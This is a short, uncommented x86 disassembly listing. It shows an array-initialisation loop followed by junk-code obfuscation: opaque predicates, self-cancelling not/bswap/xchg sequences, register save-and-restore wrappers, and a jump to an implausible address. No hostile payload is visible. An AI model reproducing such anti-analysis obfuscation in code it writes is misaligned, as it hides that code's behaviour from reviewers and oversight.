jmp 0x684895
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x48]
cmp edx, dword [0x6bf578]
adc eax, 0x6bf578
jge 0x6848e1
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x6bf580]
mov dword [ecx + eax*4], 0xffffffff
mov edx, dword [ebp - 0x48]
mov eax, dword [0x6bf584]
mov dword [eax + edx*4], 0
mov ecx, dword [ebp - 0x48]
mov edx, dword [0x6bf588]
mov dword [edx + ecx*4], 0xffffffff
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x6bf558]
mov dword [ecx + eax*4], 0
jmp 0x68488c
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 0x6c65696d
xchg ecx, eax
mov ecx, 0xdeadc0de
xchg ecx, eax
not eax
pop eax
not ecx
pop ecx
pushfd
pushal
xor ebx, ebx
je 0x684904
jmp 0x684925
xor ebx, ebx
je 0x684908
jmp 0x684917
mov ecx, 0x34f9c987
nop
stc
je 0x68491b
jmp 0x68494b
xor eax, eax
je 0x68490d
mov eax, 0x4840c987
test eax, eax
jne 0x684901
jmp 0x92cee68a
popal
popfd
xchg dx, ax
xchg dx, ax
mov eax, eax
mov edx, dword [0x6bf578]
sar edx, 1
add edx, 1
mov dword [0x6b8840], edx
xor eax, eax
mov al, byte [0x6bf552]
test eax, eax
jne 0x68498f
jo 0x684952
jl 0x684950
jmp 0x684954
je 0x68494d
jmp 0x68494d
cmp dword [0x6b8840], 6
jae 0x684967
mov dword [0x6b8840], 6
pushal
xor eax, eax
jne 0x68496e
jmp 0x684983
jmp 0x6849a3
push eax
not eax
bswap eax
pop eax
jae 0x684997
pushfd
pushal
jmp 0x6849c6
sub edx, edx
jo 0x6849ac
jmp 0x6849bd
jmp 0x6849b3
jae 0x6849af
jmp 0x6849a0
jmp 0x68499a
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret